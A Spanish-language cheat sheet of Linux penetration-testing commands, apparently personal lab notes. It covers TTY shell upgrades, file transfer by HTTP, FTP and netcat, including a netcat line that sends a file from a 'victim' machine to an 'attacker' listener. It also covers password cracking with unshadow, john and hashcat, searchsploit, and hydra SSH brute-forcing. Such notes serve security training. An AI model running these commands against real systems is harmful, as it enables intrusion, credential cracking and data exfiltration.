Tecnicas Fundamentales Linux - Apuntes
Tratamiento de la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
script /dev/null -c bash # Lanza pseudoconsola
[ctrl+z] # Suspende la shell actual
stty raw -echo
fg # Recupera la shell suspendida
reset "xterm" # Reinicia la configuración de la terminal
xterm # Especifica el tipo de terminal
export TERM=xterm # Asigna xterm a la variable TERM
export SHELL=bash # Asigna bash a la variable SHELL
stty rows <VALOR_FILAS> columns <VALOR_COLUMNAS>
Para ver el valor de filas y columnas de nuestra terminal se utiliza el comando -> stty -a
TTY Shell con Python
1
python -c 'import pty; pty.spawn("/bin/sh")'
Descompresión
1
2
3
4
5
6
7
8
9
10
11
#.tar
tar -xf archive.tar.gz
#.gz
gzip -d file.gz
#.zip
unzip file.zip
Comparación de archivos
1
2
3
diff -c scan-a.txt scan-b.txt
comm scan-a.txt scan-b.txt
Transferencia de archivos
1
2
3
4
5
6
7
8
9
10
11
12
13
#HTTP
#Servidor
python3 -m http.server
python -m SimpleHTTPServer
#Cliente
certutil.exe -urlcache -f http://<SERVER_IP>/file.txt file.txt
wget http://<SERVER_IP>/file.txt
FTP
1
2
3
4
5
6
7
#Servidor
python3 -m pyftpdlib
#Cliente
ftp <SERVER_IP>
Netcat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#Servidor
nc 10.10.14.2 4242 < file.tgz
#Cliente
nc -lvnp 4242 > file.tgz
maquina atacante
nc -lvnp "Ports" > "archivo"
----------------------------------------------------------------------------------------------------------------------------------------------------------
maquina victima
nc "IP" "Ports" < "archivo"
ssh
1
scp -r ''USER@IP:/ruta/* . * ruta donde queremos copiar(.)''
Sniffing
1
2
tcpdump -i tun0 icmp -n
Cracking
1
2
3
john --wordlist=/usr/share/wordlists/rockyou.txt hash
hashcat -a 0 -m 1600 hash /usr/share/wordlists/rockyou.txt
Cracking de contraseñas con password y shadow
1
2
3
unshadow <Archivo_passwd> <Archivo_shadow> > <Archivo_hash>
john --wordlist=<Ruta_Diccionario> <Archivo_hash>
Cracking de documentos encriptados de Office
1
2
3
office2john.py <Ruta_Documento> > <Archivo_hash>
john --wordlist=<Ruta_Diccionario> <Archivo_hash>
Extraer información de imágenes
1
steghide --extract -sf archivo.png/jpg
Búsqueda de exploits
1
2
3
4
5
searchsploit <SOFTWARE>
searchsploit -x <ID_EXPLOIT> # Inspeccionar el código del exploit
searchsploit -m <ID_EXPLOIT> # Mueve el exploit al directorio actual de trabajo
Buscador de archivos
1
find / -iname nombre_archivo
Fuerza bruta con hydra para ssh
1
hydra 127.0.0.1 ssh -s 22 -L users -P worstpasswords.txt -f -vV
This post is licensed under CC BY 4.0 by the author.